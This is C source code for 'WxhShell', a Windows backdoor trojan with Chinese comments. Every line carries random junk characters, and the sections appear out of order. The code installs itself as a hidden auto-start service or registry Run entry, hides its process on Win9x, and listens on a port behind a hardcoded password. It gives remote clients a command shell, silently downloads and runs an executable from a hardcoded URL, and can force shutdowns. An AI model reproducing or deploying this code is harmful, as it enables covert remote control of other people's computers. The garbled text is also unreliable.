  case 'd': { ,V33v<|wc  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); J7ktfyQ0W  
    if(Boot(SHUTDOWN)) #5-A&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L)/6kt=  
    else { 3aO;@GNJ  
    closesocket(wsh); $35,\ZO>  
    ExitThread(0); VXkAFgO  
    } KIKq9*  
    break; A3"1D  
    } umm\r&]A  
  // 获取shell *"ykTqa  
  case 's': { L8:]`M Q0  
    CmdShell(wsh); +2EHmuJ;  
    closesocket(wsh); cK|rrwa0  
    ExitThread(0); AJ\VY;m7F  
    break; }0BL0N`_  
  } NqT1buU#  
  // 退出 BZJKiiD  
  case 'x': { |I}A> XG  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ?-8y4 Ex  
    CloseIt(wsh); "J P{Q  
    break; >HcYVp~G  
    } _b0S  
  // 离开 m|[\F#+C  
  case 'q': { &@4.;u  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); NWJcFj_  
    closesocket(wsh); p*pn@z  
    WSACleanup();  Iys6R?~  
    exit(1); 66~e~F}z  
    break; %Lp2jyv.  
        } $/[Gys3"  
  } 3`&VRF8  
  } e{fZ}`=7y  
W>Mse[6`c  
  // 提示信息 k;;nE o~6  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); WYwzo V-  
} _x\-!&[p  
  } VLh%XoQx[  
rWoe ?g  
  return; v9E+(4I9_  
} $yDW.pt  
|.b%rVu  
// shell模块句柄 tLS<0  
int CmdShell(SOCKET sock) E\R raPkQT  
{ Z!wD~C"D73  
STARTUPINFO si; <#xrrRhm}  
ZeroMemory(&si,sizeof(si)); e1%rVQ(v  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Job/@> ;  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; FNz84qVIx'  
PROCESS_INFORMATION ProcessInfo; YO@hE>  
char cmdline[]="cmd"; 7o;x (9  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); >"cr-LB  
  return 0; s.^c..e75C  
} nU} ~I)@V  
V.;:u#{@-Q  
// 自身启动模式 M4TrnZ1D}  
int StartFromService(void) qs!>tw  
{ a?zR8$t|  
typedef struct EkRdpiLB  
{ "?i>p z  
  DWORD ExitStatus; 5U0ytDZ2/(  
  DWORD PebBaseAddress; z@!^ow)`J  
  DWORD AffinityMask; *-9#/Cp  
  DWORD BasePriority; *I:mw8t  
  ULONG UniqueProcessId; iY0,WT}&n  
  ULONG InheritedFromUniqueProcessId; [zY!'cz?  
}   PROCESS_BASIC_INFORMATION; QjQ4Z'.r>  
YO)')&  
PROCNTQSIP NtQueryInformationProcess; LIr(mB"Y0  
R]CZw;zS_  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 3hc#FmLr2b  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; `6rrXU6|  
.r~'(g{qt  
  HANDLE             hProcess; McEmd.S<n  
  PROCESS_BASIC_INFORMATION pbi; }l.KpdRT2  
LkaG8#m1R  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); M$,Jg5Dc  
  if(NULL == hInst ) return 0; davvI$TA  
k?^%hO>[  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ,q8(]n 4  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); (-bRj#  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); N\_( w:q  
"3@KRb4f  
  if (!NtQueryInformationProcess) return 0; 9n_ eCb)H  
XK1fHfCEa  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Tv`_n2J`2  
  if(!hProcess) return 0; /r-8T>m  
xC)7eQn/R  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 4w@v#H@  
N%O[  
  CloseHandle(hProcess); a|UqeNI{  
r k@UsHy  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); -dl}_   
if(hProcess==NULL) return 0; 0[lS(K  
D2Y&[zgv  
HMODULE hMod; F b1EMVu  
char procName[255]; `Gf{z%/  
unsigned long cbNeeded; SLSF <$  
jUYF.K&  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); =Wj{]&`  
>5c]aNcv  
  CloseHandle(hProcess); otU@X 3<_  
_]P a>8X*  
if(strstr(procName,"services")) return 1; // 以服务启动 _=uviMuE  
%=BtOM_2  
  return 0; // 注册表启动 . /Y&\<  
} m+H%g"Zj  
1sD~7KPg?  
// 主模块 *h2`^Z  
int StartWxhshell(LPSTR lpCmdLine) hPcS, p{%  
{ 1c'79YU  
  SOCKET wsl; 5KK{%6#f\  
BOOL val=TRUE; NNgK:YibD  
  int port=0; @Eo4U]-  
  struct sockaddr_in door; kr#I{gF  
~fBex_.o*  
  if(wscfg.ws_autoins) Install(); gTnS[  
oK)[p!D?0{  
port=atoi(lpCmdLine); &%6NQWW  
Q ]/B/  
if(port<=0) port=wscfg.ws_port; ,pn ) >  
9MT3T?IS  
  WSADATA data; 3#9uEDdE  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; RXM}hqeG  
^=k {~  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   A&NqQ V,  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 6>s=Ci ZB  
  door.sin_family = AF_INET; pOKeEW<q  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); =9(tsB gTX  
  door.sin_port = htons(port); X\kjAMuW/*  
N^lAG"Jao[  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { wajZqC2yg  
closesocket(wsl); 4x(F&0  
return 1; bhn5Lz$z  
} +SyUWoM  
b]w[*<f?  
  if(listen(wsl,2) == INVALID_SOCKET) { 0:. 6rp  
closesocket(wsl); ":V%(c  
return 1; #J\s%60pt  
} dKb ^x^  
  Wxhshell(wsl); Gh'X.?3   
  WSACleanup(); |<1M&\oaQ'  
XwtAF3oz  
return 0; RYH)AS4w'  
\p3v#0R{  
} h<)yJh  
)&Mq,@  
// 以NT服务方式启动 ! j{CuA/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) iyc$)"w  
{ O)`Gzx*ShU  
DWORD   status = 0; s0 47"Q  
  DWORD   specificError = 0xfffffff; LaclC]yLU  
%uua_&#)  
  serviceStatus.dwServiceType     = SERVICE_WIN32; lr0M<5d=p  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; zXjw nep  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; AxEc^Cof  
  serviceStatus.dwWin32ExitCode     = 0; rEmwKZF'  
  serviceStatus.dwServiceSpecificExitCode = 0; Si]X rub  
  serviceStatus.dwCheckPoint       = 0; gn^!"MN+g  
  serviceStatus.dwWaitHint       = 0; `4skwvS=  
G~(& 3  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); aV#h5s  
  if (hServiceStatusHandle==0) return; _\UIc;3Gl  
l77'Lne  
status = GetLastError(); @C=m?7O98  
  if (status!=NO_ERROR) L$kgK# T  
{ oK$ '9c5<  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; *y?[ <2"$  
    serviceStatus.dwCheckPoint       = 0; $C$ub&D ~"  
    serviceStatus.dwWaitHint       = 0; js -2"I  
    serviceStatus.dwWin32ExitCode     = status; [<Q4U{F  
    serviceStatus.dwServiceSpecificExitCode = specificError; ?;_O 9  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); >C*4_J7  
    return; nSHNis  
  } lA]N04 d  
_CL{IY  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; m d_g}N(C  
  serviceStatus.dwCheckPoint       = 0; me:iQ.g  
  serviceStatus.dwWaitHint       = 0; \+9;!VWhl  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); JL``iA  
} l/ QhD?)9  
&y\igX1  
// 处理NT服务事件,比如:启动、停止 (Igu:=  
VOID WINAPI NTServiceHandler(DWORD fdwControl) L0xsazX:x  
{ 9OfU7_m  
switch(fdwControl) 9>;} /*:H  
{ ZL,8,;]  
case SERVICE_CONTROL_STOP: [1U{ci&=p  
  serviceStatus.dwWin32ExitCode = 0; "O``7HA}  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; y] y9'5_  
  serviceStatus.dwCheckPoint   = 0; 6#vI;d[^  
  serviceStatus.dwWaitHint     = 0; Cg^:jd  
  { ;t!9]1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^o bC4(  
  } ; [FLT:$  
  return; 03Ukw/D&  
case SERVICE_CONTROL_PAUSE: h\FwgkJP  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 8O9Gs  
  break; #N$9u"8C  
case SERVICE_CONTROL_CONTINUE: c ;^A)_/  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; (-J<Vy]  
  break; R+uw/LG  
case SERVICE_CONTROL_INTERROGATE: W"t"X ~T3  
  break; iu|v9+  
}; C5MqwNX  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); W "k| K:  
} &r:=KT3  
+|0 t  
// 标准应用程序主函数 >: $"a  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) x;(g  
{ lC4PKm no  
bJ6p,]g  
// 获取操作系统版本 YD9!=a$  
OsIsNt=GetOsVer(); X.eB ;w/}  
GetModuleFileName(NULL,ExeFile,MAX_PATH); e5 3,Rqi)@  
TRy^hr8~  
  // 从命令行安装 WN\PX!K9  
  if(strpbrk(lpCmdLine,"iI")) Install(); 6+e4<sy[E  
{Zl4C;c  
  // 下载执行文件 h7*O.Opm=  
if(wscfg.ws_downexe) { zofx+g\(W  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) UKj`_a6  
  WinExec(wscfg.ws_filenam,SW_HIDE); *uU4^E(  
} y;QQ| =,  
B:nK)"{  
if(!OsIsNt) { M $uf:+F  
// 如果时win9x,隐藏进程并且设置为注册表启动 A%n?}  
HideProc(); ST% T =_q  
StartWxhshell(lpCmdLine); s??czM2O  
} yV2e5/i  
else [T]Bfo  
  if(StartFromService()) 5*+I M*c  
  // 以服务方式启动 gyFr"9';c  
  StartServiceCtrlDispatcher(DispatchTable); \Z'/+}^h  
else shzG Eb  
  // 普通方式启动 uJ 8x  
  StartWxhshell(lpCmdLine); D2]ZMDL.  
}I'^./za  
return 0; ?0) @jc=  
} Q.E_:=*H  
=f `=@]  
u(Rk'7k  
'kEG.Oq7  
=========================================== bvp)r[8h  
bl$j%gI%,  
NWaO_sm  
sv`"\3N[  
dN0mYlu1|  
.)t (:)*b  
" Vd<K4Tk  
'kQ~  
#include <stdio.h> n.ct]+L  
#include <string.h> Z /h|\SyJ  
#include <windows.h> sUV>@UMnu  
#include <winsock2.h> 0 Z8/R  
#include <winsvc.h> )cKjiXn  
#include <urlmon.h> UFf,+4q  
#D0W7 a  
#pragma comment (lib, "Ws2_32.lib") ib; yu_  
#pragma comment (lib, "urlmon.lib") +f$Z-U1H/  
^Et ,TF\  
#define MAX_USER   100 // 最大客户端连接数 8W$L:{ez  
#define BUF_SOCK   200 // sock buffer H`5Ct  
#define KEY_BUFF   255 // 输入 buffer x=vK EyS@  
l=NAq_?N\  
#define REBOOT     0   // 重启 70=(. [^+  
#define SHUTDOWN   1   // 关机 M}KZG'7  
?S9Nm~vlt  
#define DEF_PORT   5000 // 监听端口 ; h9W\Se  
W0|_]"K-  
#define REG_LEN     16   // 注册表键长度 tvT4S  
#define SVC_LEN     80   // NT服务名长度 B%mtp;) P  
`0z/BCNB  
// 从dll定义API B.RRdK+:  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); y;r"+bS8  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); #<]Iz'\`  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Wp`C:H  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); x G^f  
zQ<88E&&Xs  
// wxhshell配置信息 _aY.  
struct WSCFG { ydup)[n  
  int ws_port;         // 监听端口 V]m^7^m3  
  char ws_passstr[REG_LEN]; // 口令 UO1$UF! QC  
  int ws_autoins;       // 安装标记, 1=yes 0=no k% NrL@z  
  char ws_regname[REG_LEN]; // 注册表键名 L20rv:W$h  
  char ws_svcname[REG_LEN]; // 服务名 >3!DOv   
  char ws_svcdisp[SVC_LEN]; // 服务显示名 LyV#j>gD  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 *F|+2?a:$  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 RAwk7F3qn  
int ws_downexe;       // 下载执行标记, 1=yes 0=no nzWQQra|?  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" NnP.k7m)  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 | +fwvi&a  
pND48 g;  
}; )vQNiik#  
aP_3C_  
// default Wxhshell configuration &#-[Y:?lA  
struct WSCFG wscfg={DEF_PORT, >Zo-wYG  
    "xuhuanlingzhe", B>@D,)/bT5  
    1, jr:drzr{I  
    "Wxhshell", |eF.ZC)QWh  
    "Wxhshell", ,H@TYw  
            "WxhShell Service", b*`fLrqV.  
    "Wrsky Windows CmdShell Service", CC>($k"  
    "Please Input Your Password: ", L&QtHSzy  
  1, CWBbSGk  
  "http://www.wrsky.com/wxhshell.exe", ?R282l  
  "Wxhshell.exe" { Hr>X  
    }; U&X.  
) G|"jFP  
// 消息定义模块 U1jSUkqb  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; I:HV6_/^-G  
char *msg_ws_prompt="\n\r? for help\n\r#>"; $YPQC  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; #r(a~  
char *msg_ws_ext="\n\rExit."; c8q G\\t[  
char *msg_ws_end="\n\rQuit."; F'XlJ M  
char *msg_ws_boot="\n\rReboot...";  tI'e ctn  
char *msg_ws_poff="\n\rShutdown..."; xY+A]Up|w  
char *msg_ws_down="\n\rSave to "; /3s@6Ex}E  
%; qY  '+  
char *msg_ws_err="\n\rErr!"; 5c)wZ  
char *msg_ws_ok="\n\rOK!"; aX]y`  
Lg b  
char ExeFile[MAX_PATH]; |veBq0U  
int nUser = 0; t"tNtLI  
HANDLE handles[MAX_USER]; q 7`   
int OsIsNt; B6uf;Yc  
9!cW  
SERVICE_STATUS       serviceStatus; oW8;^u  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; f@L \E>t  
=@%MV(  
// 函数声明 =^by0E2  
int Install(void); cmae&Atotw  
int Uninstall(void); *%nX#mwz  
int DownloadFile(char *sURL, SOCKET wsh); ON NW.xHp  
int Boot(int flag); 'h k @>"  
void HideProc(void); .C6gl]6y@  
int GetOsVer(void); 9 #:ue@)  
int Wxhshell(SOCKET wsl); q4 $sc_0i  
void TalkWithClient(void *cs); ?nY/, q&  
int CmdShell(SOCKET sock); . rRc  
int StartFromService(void); H&9wSG`  
int StartWxhshell(LPSTR lpCmdLine); m8p4U-*j  
h|)2'07  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 9z5z  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); HaS[.&\S0  
uQ-WTz|*  
// 数据结构和表定义 ,~iFEaV+  
SERVICE_TABLE_ENTRY DispatchTable[] = 80cm6?,xu  
{ wAPO{3  
{wscfg.ws_svcname, NTServiceMain},  X+\0%|  
{NULL, NULL} 7@3M]5:3g  
}; rtoSCj:  
r!>es;R8  
// 自我安装 lf}?!*V`+  
int Install(void) 3EAX]  
{ %sYk0~E  
  char svExeFile[MAX_PATH]; =GLYDV  
  HKEY key; ]D?oQ$q7  
  strcpy(svExeFile,ExeFile); p<ry$=`  
Y/#:)(&@  
// 如果是win9x系统,修改注册表设为自启动 2zwuvgiZ  
if(!OsIsNt) { XNy:0C  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *%;6P5n%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); H#_}^cGPR=  
  RegCloseKey(key); MV7}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { j^:b-:F  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); A-}PpH~.Z  
  RegCloseKey(key); bl6':m+  
  return 0; CR P7U  
    } iFY]0@yt  
  } Tm0?[[3hC  
} 9[B<rz  
else { F@oT7NB/n  
!Mm+bWn=mB  
// 如果是NT以上系统,安装为系统服务 4c~*hMr y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 1V#B]x:  
if (schSCManager!=0) rAtai}Lx  
{ w}fqs/)w  
  SC_HANDLE schService = CreateService "~B~{ _<j  
  ( ^Jc$BMaVg  
  schSCManager, :+kg4v&r  
  wscfg.ws_svcname, H rM)jC<~  
  wscfg.ws_svcdisp, AN50P!FZW  
  SERVICE_ALL_ACCESS,  zgZi  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , PpI+@:p[  
  SERVICE_AUTO_START, YN$ndqOP  
  SERVICE_ERROR_NORMAL, Ov F8&*A  
  svExeFile, 8uD8or  
  NULL, RRK^~JQI.2  
  NULL, ytuWT,u  
  NULL, i G?w;  
  NULL, q_OY sg  
  NULL 2X qPZ]2g  
  ); 17?NR\Q  
  if (schService!=0) 7] R6  
  { 1==P.d(  
  CloseServiceHandle(schService); bgkbwE  
  CloseServiceHandle(schSCManager); ayB=|*Q"  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); _:/Cl9~  
  strcat(svExeFile,wscfg.ws_svcname); \3J+OY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { g6tWU  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); f]O5V$!RuE  
  RegCloseKey(key); Te{aB"B  
  return 0; g wZ+GA  
    } ~GsH8yA_P  
  } ZdJVs/33Vn  
  CloseServiceHandle(schSCManager); {m1t~ S   
} 'M]CZ}  
} h+ `J=a|\  
5x93+DkO\  
return 1; eP-R""uPw  
} r? 6Z1  
8+@1wks  
// 自我卸载 R] V~IDs   
int Uninstall(void) \rB/83[;u  
{ U)IsTk~}O  
  HKEY key; 7zz(#  
oRtY?6^$  
if(!OsIsNt) { bqf]$}/8k  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %tklup]LF8  
  RegDeleteValue(key,wscfg.ws_regname); dK-  ^  
  RegCloseKey(key); t6! p\Y}}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { R(n0!h4  
  RegDeleteValue(key,wscfg.ws_regname); ;@=@N9q K  
  RegCloseKey(key); HZ[68T[8b  
  return 0; %Hh &u .  
  } < |]i  
} Rz])wBv e  
} S|z(  
else { =X%R*~!#Of  
9/8@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); [5}cU{M  
if (schSCManager!=0) wd2P/y42;;  
{ W? 6  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); <Bob#Tf ~  
  if (schService!=0) .3g\[p   
  { GSUOMy[M-  
  if(DeleteService(schService)!=0) { .wt>.mUH  
  CloseServiceHandle(schService); XQ+-+CD  
  CloseServiceHandle(schSCManager); @h z0:ezg:  
  return 0; _mI:Lr#dT  
  } Y`[HjS,  
  CloseServiceHandle(schService); l72i e  
  } { 8|Z}?I  
  CloseServiceHandle(schSCManager); _Oaso >  
} ZQJw2LAgO  
} !pF KC)  
[W8iM7D  
return 1; |n-a\  
} 7!` C TE  
D{Jc+Q$  
// 从指定url下载文件 t"!8  
int DownloadFile(char *sURL, SOCKET wsh) F(J!dG5#  
{ %'D:bi5  
  HRESULT hr; 4p/V6kr&r  
char seps[]= "/"; @zq\z$  
char *token; S3JygN*  
char *file; dKN3ZCw*gF  
char myURL[MAX_PATH]; TnZc.  
char myFILE[MAX_PATH]; iu:p &h  
)oz-<zW  
strcpy(myURL,sURL); =O}%bZ)Q  
  token=strtok(myURL,seps); 8zB+%mcF  
  while(token!=NULL) EcS-tE 4%  
  { bW 79<T'+  
    file=token; ko7-%+0|]  
  token=strtok(NULL,seps); j)lM:vXR  
  } MlcoOi!  
@Tm0T7C  
GetCurrentDirectory(MAX_PATH,myFILE); EssUyF-jwU  
strcat(myFILE, "\\"); -$!Pf$l@  
strcat(myFILE, file); Af! W K=  
  send(wsh,myFILE,strlen(myFILE),0); 7+2aG  
send(wsh,"...",3,0); *F4G qX3  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 6u]OXP A|  
  if(hr==S_OK)   _c7  
return 0; kdueQ(\  
else s"^YW+HMb  
return 1; (/rIodHJO  
3 v,ae7$U&  
} F" #3s=  
ju2X*  
// 系统电源模块 :O @,Z_"  
int Boot(int flag) X:} 5L> '  
{ SJ|.% gn  
  HANDLE hToken; 5IF~]5s  
  TOKEN_PRIVILEGES tkp; BX)cV  
6[Pr<4J  
  if(OsIsNt) { %_X[{(  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); =w>>7u$4  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 4@V<Suw  
    tkp.PrivilegeCount = 1; B #V 4  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; m#}{"d&J  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); GT`<jzAiQ  
if(flag==REBOOT) { 0T{Y_IG  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 9[]"%6  
  return 0; pa> 2JF*  
} 1_E3DXe  
else { :92a34  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ~4 xBa:*z  
  return 0; (k HQKQmq  
} YI(OrR;V  
  } :Tl6:=B  
  else {  sCf(h  
if(flag==REBOOT) { kpMM%"=V  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) }mS0{rxD4  
  return 0; r3bvuq,6$  
} A,CPR0g%  
else { 0{Ll4  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) pUEok+  
  return 0; kGTc~p(  
}  Vgb>3]SU  
} X72X:"  
-H]f@|AOw  
return 1; `\FjO"  
} @IKe<{w  
8LM1oal}  
// win9x进程隐藏模块 C5n=2luI_  
void HideProc(void) kAF}*&Kzd~  
{ lL+^n~g  
TXOW/{B  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); M>z7H"jCu  
  if ( hKernel != NULL ) Q1&dB{L  
  { aiX;D/t?  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); r`"#c7)  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); /WgWe  
    FreeLibrary(hKernel); T|iF/p]F  
  } -v+^x`HR  
BNm va  
return; Ol5xyj  
} }c#/1J7  
9TN5|x  
// 获取操作系统版本 Kxaz^$5Y$  
int GetOsVer(void) -/{}^ QWB  
{ &``oZvu B  
  OSVERSIONINFO winfo; Jt, 4@  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); s=@Ce V@4W  
  GetVersionEx(&winfo); G(3la3\(  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) E&tmWOMj>  
  return 1; DWxh{h">  
  else } K-[/;  
  return 0; pP oC61F  
} ]M"'qC3g  
2}C>{*}yQ  
// 客户端句柄模块 J0W).mD_H  
int Wxhshell(SOCKET wsl) TK?+O}v-]!  
{ !OVEA^6  
  SOCKET wsh; L;t~rW!1  
  struct sockaddr_in client; [cAg'R6  
  DWORD myID; k_^/   
Sg~A'dG  
  while(nUser<MAX_USER) {hP&P  
{ _Vf|F  
  int nSize=sizeof(client); 'm? x2$u8  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); fhWD>;%F%  
  if(wsh==INVALID_SOCKET) return 1; u`2k6.-  
s3!LR2qiF  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ;<R_j%*  
if(handles[nUser]==0) ~"0X,APR5  
  closesocket(wsh); R*fR?  
else myX0<j3G5  
  nUser++; >^HTghgRD  
  } w:+#,,rwzV  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Bzt`9lg  
QNwAuH T  
  return 0; r:rJv  
} fzG1<Gem  
]H7Mx\  
// 关闭 socket 5kNs@FP  
void CloseIt(SOCKET wsh) <5vB{)Tq  
{ ;!sGfrs 0$  
closesocket(wsh); r@UY$z  
nUser--; 0! %}  
ExitThread(0); 80>!qG  
} 2![W N*N>O  
$s!meg@s  
// 客户端请求句柄 7V``f:#d  
void TalkWithClient(void *cs) FQ1oqqr  
{ *lF%8k"Al  
.g?,:$`0D?  
  SOCKET wsh=(SOCKET)cs; !_!b \  
  char pwd[SVC_LEN]; C>VZf,JE1  
  char cmd[KEY_BUFF]; x}j41E}  
char chr[1]; ^i1:PlW]  
int i,j; dph6aN(49  
*lO+^\HXD  
  while (nUser < MAX_USER) { TBT*j&!L  
WfO$q^'?DP  
if(wscfg.ws_passstr) { CxQ,yd;>  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Khd,|pM  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  Bz~h-  
  //ZeroMemory(pwd,KEY_BUFF); s\R?@  
      i=0; t+q`h3  
  while(i<SVC_LEN) { E1g$WhXIS  
1\{F.v  
  // 设置超时 S6X<3L`FfH  
  fd_set FdRead; Rx-i.EtZ  
  struct timeval TimeOut; zD-8#H35X"  
  FD_ZERO(&FdRead); PaJwM%s)L  
  FD_SET(wsh,&FdRead); $O!<Zz   
  TimeOut.tv_sec=8; qEz'l'%(  
  TimeOut.tv_usec=0; VbR.tz  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 0+i,,^x.  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); +[`%b3Nk  
5~0;R`D  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); LdUpVO8)l  
  pwd=chr[0]; 1zW6Pb  
  if(chr[0]==0xd || chr[0]==0xa) { ]~ UkD*Ct  
  pwd=0; _S1uJ~j;E  
  break; VNXVuM )c  
  } nP31jm+A  
  i++; j-|0&X1C  
    } zSCPp6  
XS/TYdXB8  
  // 如果是非法用户,关闭 socket s$6#3%h  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); |_m;@.44?U  
} Ka{Zoi]  
D*,H%xA  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); J< M;vB)  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); tn1aH +  
WQL`;uIX  
while(1) { h]P$L>  
"FS.&&1(  
  ZeroMemory(cmd,KEY_BUFF); L9)&9 /f  
|pY0IqO  
      // 自动支持客户端 telnet标准   RoRVu,1  
  j=0; rd{( E  
  while(j<KEY_BUFF) { SbivW5|61  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); X_l,fu^C#$  
  cmd[j]=chr[0]; )v0vdAh'b  
  if(chr[0]==0xa || chr[0]==0xd) { (5_(s`q.  
  cmd[j]=0; `_)dEu  
  break; ;0gpS y$#  
  } mo$*KNW%\  
  j++; k>`X! "  
    } I),8EEf\  
4[q * 7m  
  // 下载文件 JK`P mp>  
  if(strstr(cmd,"http://")) { 5yID%  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); {{,%p#/b  
  if(DownloadFile(cmd,wsh)) 'h6RZKG T  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); cpVi9]  
  else ,V?,I9qf  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jU$PO\UTk  
  } "Wp<^ssMo  
  else {  tS7u#YMh  
3F1Z$d(  
    switch(cmd[0]) { KK6YA  
  }o4Cd$,8  
